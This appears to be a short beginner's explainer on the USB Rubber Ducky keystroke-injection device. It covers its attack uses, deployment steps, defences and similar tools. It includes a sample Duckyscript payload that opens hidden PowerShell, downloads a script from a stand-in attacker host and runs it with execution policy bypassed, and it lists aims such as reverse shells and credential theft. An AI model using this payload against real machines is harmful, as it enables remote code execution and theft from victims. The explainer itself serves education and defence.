**🦆 USB Rubber Ducky – Hacking 101**

**🧠 What is it?**

The **USB Rubber Ducky** looks like a **regular USB flash drive** — but it’s actually a **keyboard in disguise** that types super fast.

✅ It’s used for **automated keystroke injection** — basically, it "types" payloads as soon as it's plugged in.

**💻 Why is it Dangerous?**

Computers trust keyboards. So when the Rubber Ducky is plugged in:

* It pretends to be a **keyboard**.
* Sends pre-programmed commands instantly (like opening a terminal and downloading malware).
* Works on **Windows, Mac, Linux** — no drivers needed.

**🛠️ What Can It Do?**

Examples of attacks:

* Create a **reverse shell** back to the attacker
* **Exfiltrate files** via email or cloud
* **Add a new admin user**
* Open malicious websites
* Steal Wi-Fi passwords
* Bypass lock screens (if unattended)

**🔧 How Does It Work?**

1. **Write a payload** using **Duckyscript** (very easy scripting language).
2. Convert it into an inject.bin file using DuckEncoder.
3. Load the file onto a MicroSD card.
4. Insert into the Rubber Ducky and plug it into a victim machine.
5. It executes instantly.

**✍️ Sample Duckyscript**

DELAY 500

GUI r

DELAY 200

STRING powershell -WindowStyle Hidden

ENTER

DELAY 500

STRING Invoke-WebRequest -Uri http://attacker.com/shell.ps1 -OutFile shell.ps1

ENTER

STRING powershell -ExecutionPolicy Bypass -File shell.ps1

ENTER

This opens PowerShell, downloads a script, and runs it.

**🛡️ How to Defend Against It?**

* 🔒 Lock your screen when away
* 🚫 Disable USB ports where possible
* 🧠 Use endpoint protection that can detect HID devices
* ✅ Use tools like **DuckHunter HID** to detect Rubber Ducky patterns

**🧪 Alternatives or Similar Tools**

* **MalDuino** – Arduino-based version
* **Bash Bunny** – More powerful version with more storage
* **Digispark** – Cheaper option, smaller